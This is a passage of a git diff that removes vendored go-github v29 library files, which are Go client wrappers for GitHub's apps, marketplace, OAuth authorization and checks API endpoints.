s.client.Do(ctx, req, &r) - if err != nil { - return nil, resp, err - } - - return r.Repositories, resp, nil -} - -// AddRepository adds a single repository to an installation. -// -// GitHub API docs: https://developer.github.com/v3/apps/installations/#add-repository-to-installation -func (s *AppsService) AddRepository(ctx context.Context, instID, repoID int64) (*Repository, *Response, error) { - u := fmt.Sprintf("user/installations/%v/repositories/%v", instID, repoID) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, nil, err - } - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - r := new(Repository) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// RemoveRepository removes a single repository from an installation. -// -// GitHub docs: https://developer.github.com/v3/apps/installations/#remove-repository-from-installation -func (s *AppsService) RemoveRepository(ctx context.Context, instID, repoID int64) (*Response, error) { - u := fmt.Sprintf("user/installations/%v/repositories/%v", instID, repoID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - req.Header.Set("Accept", mediaTypeIntegrationPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/apps_manifest.go b/vendor/github.com/google/go-github/v29/github/apps_manifest.go deleted file mode 100644 index 8d6ab3c8c4..0000000000 --- a/vendor/github.com/google/go-github/v29/github/apps_manifest.go +++ /dev/null @@ -1,53 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -const ( - mediaTypeAppManifestPreview = "application/vnd.github.fury-preview+json" -) - -// AppConfig describes the configuration of a GitHub App. -type AppConfig struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Owner *User `json:"owner,omitempty"` - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - ExternalURL *string `json:"external_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - ClientID *string `json:"client_id,omitempty"` - ClientSecret *string `json:"client_secret,omitempty"` - WebhookSecret *string `json:"webhook_secret,omitempty"` - PEM *string `json:"pem,omitempty"` -} - -// CompleteAppManifest completes the App manifest handshake flow for the given -// code. -// -// GitHub API docs: https://developer.github.com/apps/building-github-apps/creating-github-apps-from-a-manifest/#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration -func (s *AppsService) CompleteAppManifest(ctx context.Context, code string) (*AppConfig, *Response, error) { - u := fmt.Sprintf("app-manifests/%s/conversions", code) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - req.Header.Set("Accept", mediaTypeAppManifestPreview) - - cfg := new(AppConfig) - resp, err := s.client.Do(ctx, req, cfg) - if err != nil { - return nil, resp, err - } - - return cfg, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/apps_marketplace.go b/vendor/github.com/google/go-github/v29/github/apps_marketplace.go deleted file mode 100644 index 863ba934cb..0000000000 --- a/vendor/github.com/google/go-github/v29/github/apps_marketplace.go +++ /dev/null @@ -1,184 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// MarketplaceService handles communication with the marketplace related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/ -type MarketplaceService struct { - client *Client - // Stubbed controls whether endpoints that return stubbed data are used - // instead of production endpoints. Stubbed data is fake data that's useful - // for testing your GitHub Apps. Stubbed data is hard-coded and will not - // change based on actual subscriptions. - // - // GitHub API docs: https://developer.github.com/v3/apps/marketplace/ - Stubbed bool -} - -// MarketplacePlan represents a GitHub Apps Marketplace Listing Plan. -type MarketplacePlan struct { - URL *string `json:"url,omitempty"` - AccountsURL *string `json:"accounts_url,omitempty"` - ID *int64 `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - MonthlyPriceInCents *int `json:"monthly_price_in_cents,omitempty"` - YearlyPriceInCents *int `json:"yearly_price_in_cents,omitempty"` - // The pricing model for this listing. Can be one of "flat-rate", "per-unit", or "free". - PriceModel *string `json:"price_model,omitempty"` - UnitName *string `json:"unit_name,omitempty"` - Bullets *[]string `json:"bullets,omitempty"` - // State can be one of the values "draft" or "published". - State *string `json:"state,omitempty"` - HasFreeTrial *bool `json:"has_free_trial,omitempty"` -} - -// MarketplacePurchase represents a GitHub Apps Marketplace Purchase. -type MarketplacePurchase struct { - // BillingCycle can be one of the values "yearly", "monthly" or nil. - BillingCycle *string `json:"billing_cycle,omitempty"` - NextBillingDate *Timestamp `json:"next_billing_date,omitempty"` - UnitCount *int `json:"unit_count,omitempty"` - Plan *MarketplacePlan `json:"plan,omitempty"` - Account *MarketplacePlanAccount `json:"account,omitempty"` - OnFreeTrial *bool `json:"on_free_trial,omitempty"` - FreeTrialEndsOn *Timestamp `json:"free_trial_ends_on,omitempty"` -} - -// MarketplacePendingChange represents a pending change to a GitHub Apps Marketplace Plan. -type MarketplacePendingChange struct { - EffectiveDate *Timestamp `json:"effective_date,omitempty"` - UnitCount *int `json:"unit_count,omitempty"` - ID *int64 `json:"id,omitempty"` - Plan *MarketplacePlan `json:"plan,omitempty"` -} - -// MarketplacePlanAccount represents a GitHub Account (user or organization) on a specific plan. -type MarketplacePlanAccount struct { - URL *string `json:"url,omitempty"` - Type *string `json:"type,omitempty"` - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Login *string `json:"login,omitempty"` - Email *string `json:"email,omitempty"` - OrganizationBillingEmail *string `json:"organization_billing_email,omitempty"` - MarketplacePurchase *MarketplacePurchase `json:"marketplace_purchase,omitempty"` - MarketplacePendingChange *MarketplacePendingChange `json:"marketplace_pending_change,omitempty"` -} - -// ListPlans lists all plans for your Marketplace listing. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/#list-all-plans-for-your-marketplace-listing -func (s *MarketplaceService) ListPlans(ctx context.Context, opt *ListOptions) ([]*MarketplacePlan, *Response, error) { - uri := s.marketplaceURI("plans") - u, err := addOptions(uri, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var plans []*MarketplacePlan - resp, err := s.client.Do(ctx, req, &plans) - if err != nil { - return nil, resp, err - } - - return plans, resp, nil -} - -// ListPlanAccountsForPlan lists all GitHub accounts (user or organization) on a specific plan. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/#list-all-github-accounts-user-or-organization-on-a-specific-plan -func (s *MarketplaceService) ListPlanAccountsForPlan(ctx context.Context, planID int64, opt *ListOptions) ([]*MarketplacePlanAccount, *Response, error) { - uri := s.marketplaceURI(fmt.Sprintf("plans/%v/accounts", planID)) - u, err := addOptions(uri, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var accounts []*MarketplacePlanAccount - resp, err := s.client.Do(ctx, req, &accounts) - if err != nil { - return nil, resp, err - } - - return accounts, resp, nil -} - -// ListPlanAccountsForAccount lists all GitHub accounts (user or organization) associated with an account. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/#check-if-a-github-account-is-associated-with-any-marketplace-listing -func (s *MarketplaceService) ListPlanAccountsForAccount(ctx context.Context, accountID int64, opt *ListOptions) ([]*MarketplacePlanAccount, *Response, error) { - uri := s.marketplaceURI(fmt.Sprintf("accounts/%v", accountID)) - u, err := addOptions(uri, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var accounts []*MarketplacePlanAccount - resp, err := s.client.Do(ctx, req, &accounts) - if err != nil { - return nil, resp, err - } - - return accounts, resp, nil -} - -// ListMarketplacePurchasesForUser lists all GitHub marketplace purchases made by a user. -// -// GitHub API docs: https://developer.github.com/v3/apps/marketplace/#get-a-users-marketplace-purchases -func (s *MarketplaceService) ListMarketplacePurchasesForUser(ctx context.Context, opt *ListOptions) ([]*MarketplacePurchase, *Response, error) { - uri := "user/marketplace_purchases" - if s.Stubbed { - uri = "user/marketplace_purchases/stubbed" - } - - u, err := addOptions(uri, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var purchases []*MarketplacePurchase - resp, err := s.client.Do(ctx, req, &purchases) - if err != nil { - return nil, resp, err - } - return purchases, resp, nil -} - -func (s *MarketplaceService) marketplaceURI(endpoint string) string { - url := "marketplace_listing" - if s.Stubbed { - url = "marketplace_listing/stubbed" - } - return url + "/" + endpoint -} diff --git a/vendor/github.com/google/go-github/v29/github/authorizations.go b/vendor/github.com/google/go-github/v29/github/authorizations.go deleted file mode 100644 index 8ad14328e9..0000000000 --- a/vendor/github.com/google/go-github/v29/github/authorizations.go +++ /dev/null @@ -1,435 +0,0 @@ -// Copyright 2015 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Scope models a GitHub authorization scope. -// -// GitHub API docs: https://developer.github.com/v3/oauth/#scopes -type Scope string - -// This is the set of scopes for GitHub API V3 -const ( - ScopeNone Scope = "(no scope)" // REVISIT: is this actually returned, or just a documentation artifact? - ScopeUser Scope = "user" - ScopeUserEmail Scope = "user:email" - ScopeUserFollow Scope = "user:follow" - ScopePublicRepo Scope = "public_repo" - ScopeRepo Scope = "repo" - ScopeRepoDeployment Scope = "repo_deployment" - ScopeRepoStatus Scope = "repo:status" - ScopeDeleteRepo Scope = "delete_repo" - ScopeNotifications Scope = "notifications" - ScopeGist Scope = "gist" - ScopeReadRepoHook Scope = "read:repo_hook" - ScopeWriteRepoHook Scope = "write:repo_hook" - ScopeAdminRepoHook Scope = "admin:repo_hook" - ScopeAdminOrgHook Scope = "admin:org_hook" - ScopeReadOrg Scope = "read:org" - ScopeWriteOrg Scope = "write:org" - ScopeAdminOrg Scope = "admin:org" - ScopeReadPublicKey Scope = "read:public_key" - ScopeWritePublicKey Scope = "write:public_key" - ScopeAdminPublicKey Scope = "admin:public_key" - ScopeReadGPGKey Scope = "read:gpg_key" - ScopeWriteGPGKey Scope = "write:gpg_key" - ScopeAdminGPGKey Scope = "admin:gpg_key" -) - -// AuthorizationsService handles communication with the authorization related -// methods of the GitHub API. -// -// This service requires HTTP Basic Authentication; it cannot be accessed using -// an OAuth token. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/ -type AuthorizationsService service - -// Authorization represents an individual GitHub authorization. -type Authorization struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Scopes []Scope `json:"scopes,omitempty"` - Token *string `json:"token,omitempty"` - TokenLastEight *string `json:"token_last_eight,omitempty"` - HashedToken *string `json:"hashed_token,omitempty"` - App *AuthorizationApp `json:"app,omitempty"` - Note *string `json:"note,omitempty"` - NoteURL *string `json:"note_url,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - Fingerprint *string `json:"fingerprint,omitempty"` - - // User is only populated by the Check and Reset methods. - User *User `json:"user,omitempty"` -} - -func (a Authorization) String() string { - return Stringify(a) -} - -// AuthorizationApp represents an individual GitHub app (in the context of authorization). -type AuthorizationApp struct { - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - ClientID *string `json:"client_id,omitempty"` -} - -func (a AuthorizationApp) String() string { - return Stringify(a) -} - -// Grant represents an OAuth application that has been granted access to an account. -type Grant struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - App *AuthorizationApp `json:"app,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - Scopes []string `json:"scopes,omitempty"` -} - -func (g Grant) String() string { - return Stringify(g) -} - -// AuthorizationRequest represents a request to create an authorization. -type AuthorizationRequest struct { - Scopes []Scope `json:"scopes,omitempty"` - Note *string `json:"note,omitempty"` - NoteURL *string `json:"note_url,omitempty"` - ClientID *string `json:"client_id,omitempty"` - ClientSecret *string `json:"client_secret,omitempty"` - Fingerprint *string `json:"fingerprint,omitempty"` -} - -func (a AuthorizationRequest) String() string { - return Stringify(a) -} - -// AuthorizationUpdateRequest represents a request to update an authorization. -// -// Note that for any one update, you must only provide one of the "scopes" -// fields. That is, you may provide only one of "Scopes", or "AddScopes", or -// "RemoveScopes". -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#update-an-existing-authorization -type AuthorizationUpdateRequest struct { - Scopes []string `json:"scopes,omitempty"` - AddScopes []string `json:"add_scopes,omitempty"` - RemoveScopes []string `json:"remove_scopes,omitempty"` - Note *string `json:"note,omitempty"` - NoteURL *string `json:"note_url,omitempty"` - Fingerprint *string `json:"fingerprint,omitempty"` -} - -func (a AuthorizationUpdateRequest) String() string { - return Stringify(a) -} - -// List the authorizations for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#list-your-authorizations -func (s *AuthorizationsService) List(ctx context.Context, opt *ListOptions) ([]*Authorization, *Response, error) { - u := "authorizations" - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var auths []*Authorization - resp, err := s.client.Do(ctx, req, &auths) - if err != nil { - return nil, resp, err - } - return auths, resp, nil -} - -// Get a single authorization. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#get-a-single-authorization -func (s *AuthorizationsService) Get(ctx context.Context, id int64) (*Authorization, *Response, error) { - u := fmt.Sprintf("authorizations/%d", id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - return a, resp, nil -} - -// Create a new authorization for the specified OAuth application. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#create-a-new-authorization -func (s *AuthorizationsService) Create(ctx context.Context, auth *AuthorizationRequest) (*Authorization, *Response, error) { - u := "authorizations" - - req, err := s.client.NewRequest("POST", u, auth) - if err != nil { - return nil, nil, err - } - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - return a, resp, nil -} - -// GetOrCreateForApp creates a new authorization for the specified OAuth -// application, only if an authorization for that application doesn’t already -// exist for the user. -// -// If a new token is created, the HTTP status code will be "201 Created", and -// the returned Authorization.Token field will be populated. If an existing -// token is returned, the status code will be "200 OK" and the -// Authorization.Token field will be empty. -// -// clientID is the OAuth Client ID with which to create the token. -// -// GitHub API docs: -// https://developer.github.com/v3/oauth_authorizations/#get-or-create-an-authorization-for-a-specific-app -// https://developer.github.com/v3/oauth_authorizations/#get-or-create-an-authorization-for-a-specific-app-and-fingerprint -func (s *AuthorizationsService) GetOrCreateForApp(ctx context.Context, clientID string, auth *AuthorizationRequest) (*Authorization, *Response, error) { - var u string - if auth.Fingerprint == nil || *auth.Fingerprint == "" { - u = fmt.Sprintf("authorizations/clients/%v", clientID) - } else { - u = fmt.Sprintf("authorizations/clients/%v/%v", clientID, *auth.Fingerprint) - } - - req, err := s.client.NewRequest("PUT", u, auth) - if err != nil { - return nil, nil, err - } - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, nil -} - -// Edit a single authorization. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#update-an-existing-authorization -func (s *AuthorizationsService) Edit(ctx context.Context, id int64, auth *AuthorizationUpdateRequest) (*Authorization, *Response, error) { - u := fmt.Sprintf("authorizations/%d", id) - - req, err := s.client.NewRequest("PATCH", u, auth) - if err != nil { - return nil, nil, err - } - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, nil -} - -// Delete a single authorization. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#delete-an-authorization -func (s *AuthorizationsService) Delete(ctx context.Context, id int64) (*Response, error) { - u := fmt.Sprintf("authorizations/%d", id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// Check if an OAuth token is valid for a specific app. -// -// Note that this operation requires the use of BasicAuth, but where the -// username is the OAuth application clientID, and the password is its -// clientSecret. Invalid tokens will return a 404 Not Found. -// -// The returned Authorization.User field will be populated. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#check-an-authorization -func (s *AuthorizationsService) Check(ctx context.Context, clientID string, token string) (*Authorization, *Response, error) { - u := fmt.Sprintf("applications/%v/tokens/%v", clientID, token) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, nil -} - -// Reset is used to reset a valid OAuth token without end user involvement. -// Applications must save the "token" property in the response, because changes -// take effect immediately. -// -// Note that this operation requires the use of BasicAuth, but where the -// username is the OAuth application clientID, and the password is its -// clientSecret. Invalid tokens will return a 404 Not Found. -// -// The returned Authorization.User field will be populated. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#reset-an-authorization -func (s *AuthorizationsService) Reset(ctx context.Context, clientID string, token string) (*Authorization, *Response, error) { - u := fmt.Sprintf("applications/%v/tokens/%v", clientID, token) - - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, nil -} - -// Revoke an authorization for an application. -// -// Note that this operation requires the use of BasicAuth, but where the -// username is the OAuth application clientID, and the password is its -// clientSecret. Invalid tokens will return a 404 Not Found. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#revoke-an-authorization-for-an-application -func (s *AuthorizationsService) Revoke(ctx context.Context, clientID string, token string) (*Response, error) { - u := fmt.Sprintf("applications/%v/tokens/%v", clientID, token) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListGrants lists the set of OAuth applications that have been granted -// access to a user's account. This will return one entry for each application -// that has been granted access to the account, regardless of the number of -// tokens an application has generated for the user. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#list-your-grants -func (s *AuthorizationsService) ListGrants(ctx context.Context, opt *ListOptions) ([]*Grant, *Response, error) { - u, err := addOptions("applications/grants", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - grants := []*Grant{} - resp, err := s.client.Do(ctx, req, &grants) - if err != nil { - return nil, resp, err - } - - return grants, resp, nil -} - -// GetGrant gets a single OAuth application grant. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#get-a-single-grant -func (s *AuthorizationsService) GetGrant(ctx context.Context, id int64) (*Grant, *Response, error) { - u := fmt.Sprintf("applications/grants/%d", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - grant := new(Grant) - resp, err := s.client.Do(ctx, req, grant) - if err != nil { - return nil, resp, err - } - - return grant, resp, nil -} - -// DeleteGrant deletes an OAuth application grant. Deleting an application's -// grant will also delete all OAuth tokens associated with the application for -// the user. -// -// GitHub API docs: https://developer.github.com/v3/oauth_authorizations/#delete-a-grant -func (s *AuthorizationsService) DeleteGrant(ctx context.Context, id int64) (*Response, error) { - u := fmt.Sprintf("applications/grants/%d", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// CreateImpersonation creates an impersonation OAuth token. -// -// This requires admin permissions. With the returned Authorization.Token -// you can e.g. create or delete a user's public SSH key. NOTE: creating a -// new token automatically revokes an existing one. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#create-an-impersonation-oauth-token -func (s *AuthorizationsService) CreateImpersonation(ctx context.Context, username string, authReq *AuthorizationRequest) (*Authorization, *Response, error) { - u := fmt.Sprintf("admin/users/%v/authorizations", username) - req, err := s.client.NewRequest("POST", u, authReq) - if err != nil { - return nil, nil, err - } - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - return a, resp, nil -} - -// DeleteImpersonation deletes an impersonation OAuth token. -// -// NOTE: there can be only one at a time. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#delete-an-impersonation-oauth-token -func (s *AuthorizationsService) DeleteImpersonation(ctx context.Context, username string) (*Response, error) { - u := fmt.Sprintf("admin/users/%v/authorizations", username) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/checks.go b/vendor/github.com/google/go-github/v29/github/checks.go deleted file mode 100644 index 1acc26e993..0000000000 --- a/vendor/github.com/google/go-github/v29/github/checks.go +++ /dev/null @@ -1,434 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "net/url" -) - -// ChecksService provides access to the Checks API in the -// GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/checks/ -type ChecksService service - -// CheckRun represents a GitHub check run on a repository associated with a GitHub app. -type CheckRun struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - HeadSHA *string `json:"head_sha,omitempty"` - ExternalID *string `json:"external_id,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - DetailsURL *string `json:"details_url,omitempty"` - Status *string `json:"status,omitempty"` - Conclusion *string `json:"conclusion,omitempty"` - StartedAt *Timestamp `json:"started_at,omitempty"` - CompletedAt *Timestamp `json:"completed_at,omitempty"` - Output *CheckRunOutput `json:"output,omitempty"` - Name *string `json:"name,omitempty"` - CheckSuite *CheckSuite `json:"check_suite,omitempty"` - App *App `json:"app,omitempty"` - PullRequests []*PullRequest `json:"pull_requests,omitempty"` -} - -// CheckRunOutput represents the output of a CheckRun. -type CheckRunOutput struct { - Title *string `json:"title,omitempty"` - Summary *string `json:"summary,omitempty"` - Text *string `json:"text,omitempty"` - AnnotationsCount *int `json:"annotations_count,omitempty"` - AnnotationsURL *string `json:"annotations_url,omitempty"` - Annotations []*CheckRunAnnotation `json:"annotations,omitempty"` - Images []*CheckRunImage `json:"images,omitempty"` -} - -// CheckRunAnnotation represents an annotation object for a CheckRun output. -type CheckRunAnnotation struct { - Path *string `json:"path,omitempty"` - StartLine *int `json:"start_line,omitempty"` - EndLine *int `json:"end_line,omitempty"` - StartColumn *int `json:"start_column,omitempty"` - EndColumn *int `json:"end_column,omitempty"` - AnnotationLevel *string `json:"annotation_level,omitempty"` - Message *string `json:"message,omitempty"` - Title *string `json:"title,omitempty"` - RawDetails *string `json:"raw_details,omitempty"` -} - -// CheckRunImage represents an image object for a CheckRun output. -type CheckRunImage struct { - Alt *string `json:"alt,omitempty"` - ImageURL *string `json:"image_url,omitempty"` - Caption *string `json:"caption,omitempty"` -} - -// CheckSuite represents a suite of check runs. -type CheckSuite struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - HeadBranch *string `json:"head_branch,omitempty"` - HeadSHA *string `json:"head_sha,omitempty"` - URL *string `json:"url,omitempty"` - BeforeSHA *string `json:"before,omitempty"` - AfterSHA *string `json:"after,omitempty"` - Status *string `json:"status,omitempty"` - Conclusion *string `json:"conclusion,omitempty"` - App *App `json:"app,omitempty"` - Repository *Repository `json:"repository,omitempty"` - PullRequests []*PullRequest `json:"pull_requests,omitempty"` - - // The following fields are only populated by Webhook events. - HeadCommit *Commit `json:"head_commit,omitempty"` -} - -func (c CheckRun) String() string { - return Stringify(c) -} - -func (c CheckSuite) String() string { - return Stringify(c) -} - -// GetCheckRun gets a check-run for a repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#get-a-single-check-run -func (s *ChecksService) GetCheckRun(ctx context.Context, owner, repo string, checkRunID int64) (*CheckRun, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-runs/%v", owner, repo, checkRunID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkRun := new(CheckRun) - resp, err := s.client.Do(ctx, req, checkRun) - if err != nil { - return nil, resp, err - } - - return checkRun, resp, nil -} - -// GetCheckSuite gets a single check suite. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#get-a-single-check-suite -func (s *ChecksService) GetCheckSuite(ctx context.Context, owner, repo string, checkSuiteID int64) (*CheckSuite, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites/%v", owner, repo, checkSuiteID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkSuite := new(CheckSuite) - resp, err := s.client.Do(ctx, req, checkSuite) - if err != nil { - return nil, resp, err - } - - return checkSuite, resp, nil -} - -// CreateCheckRunOptions sets up parameters needed to create a CheckRun. -type CreateCheckRunOptions struct { - Name string `json:"name"` // The name of the check (e.g., "code-coverage"). (Required.) - HeadSHA string `json:"head_sha"` // The SHA of the commit. (Required.) - DetailsURL *string `json:"details_url,omitempty"` // The URL of the integrator's site that has the full details of the check. (Optional.) - ExternalID *string `json:"external_id,omitempty"` // A reference for the run on the integrator's system. (Optional.) - Status *string `json:"status,omitempty"` // The current status. Can be one of "queued", "in_progress", or "completed". Default: "queued". (Optional.) - Conclusion *string `json:"conclusion,omitempty"` // Can be one of "success", "failure", "neutral", "cancelled", "timed_out", or "action_required". (Optional. Required if you provide a status of "completed".) - StartedAt *Timestamp `json:"started_at,omitempty"` // The time that the check run began. (Optional.) - CompletedAt *Timestamp `json:"completed_at,omitempty"` // The time the check completed. (Optional. Required if you provide conclusion.) - Output *CheckRunOutput `json:"output,omitempty"` // Provide descriptive details about the run. (Optional) - Actions []*CheckRunAction `json:"actions,omitempty"` // Possible further actions the integrator can perform, which a user may trigger. (Optional.) -} - -// CheckRunAction exposes further actions the integrator can perform, which a user may trigger. -type CheckRunAction struct { - Label string `json:"label"` // The text to be displayed on a button in the web UI. The maximum size is 20 characters. (Required.) - Description string `json:"description"` // A short explanation of what this action would do. The maximum size is 40 characters. (Required.) - Identifier string `json:"identifier"` // A reference for the action on the integrator's system. The maximum size is 20 characters. (Required.) -} - -// CreateCheckRun creates a check run for repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#create-a-check-run -func (s *ChecksService) CreateCheckRun(ctx context.Context, owner, repo string, opt CreateCheckRunOptions) (*CheckRun, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-runs", owner, repo) - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkRun := new(CheckRun) - resp, err := s.client.Do(ctx, req, checkRun) - if err != nil { - return nil, resp, err - } - - return checkRun, resp, nil -} - -// UpdateCheckRunOptions sets up parameters needed to update a CheckRun. -type UpdateCheckRunOptions struct { - Name string `json:"name"` // The name of the check (e.g., "code-coverage"). (Required.) - HeadSHA *string `json:"head_sha,omitempty"` // The SHA of the commit. (Optional.) - DetailsURL *string `json:"details_url,omitempty"` // The URL of the integrator's site that has the full details of the check. (Optional.) - ExternalID *string `json:"external_id,omitempty"` // A reference for the run on the integrator's system. (Optional.) - Status *string `json:"status,omitempty"` // The current status. Can be one of "queued", "in_progress", or "completed". Default: "queued". (Optional.) - Conclusion *string `json:"conclusion,omitempty"` // Can be one of "success", "failure", "neutral", "cancelled", "timed_out", or "action_required". (Optional. Required if you provide a status of "completed".) - CompletedAt *Timestamp `json:"completed_at,omitempty"` // The time the check completed. (Optional. Required if you provide conclusion.) - Output *CheckRunOutput `json:"output,omitempty"` // Provide descriptive details about the run. (Optional) - Actions []*CheckRunAction `json:"actions,omitempty"` // Possible further actions the integrator can perform, which a user may trigger. (Optional.) -} - -// UpdateCheckRun updates a check run for a specific commit in a repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#update-a-check-run -func (s *ChecksService) UpdateCheckRun(ctx context.Context, owner, repo string, checkRunID int64, opt UpdateCheckRunOptions) (*CheckRun, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-runs/%v", owner, repo, checkRunID) - req, err := s.client.NewRequest("PATCH", u, opt) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkRun := new(CheckRun) - resp, err := s.client.Do(ctx, req, checkRun) - if err != nil { - return nil, resp, err - } - - return checkRun, resp, nil -} - -// ListCheckRunAnnotations lists the annotations for a check run. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#list-annotations-for-a-check-run -func (s *ChecksService) ListCheckRunAnnotations(ctx context.Context, owner, repo string, checkRunID int64, opt *ListOptions) ([]*CheckRunAnnotation, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-runs/%v/annotations", owner, repo, checkRunID) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkRunAnnotations []*CheckRunAnnotation - resp, err := s.client.Do(ctx, req, 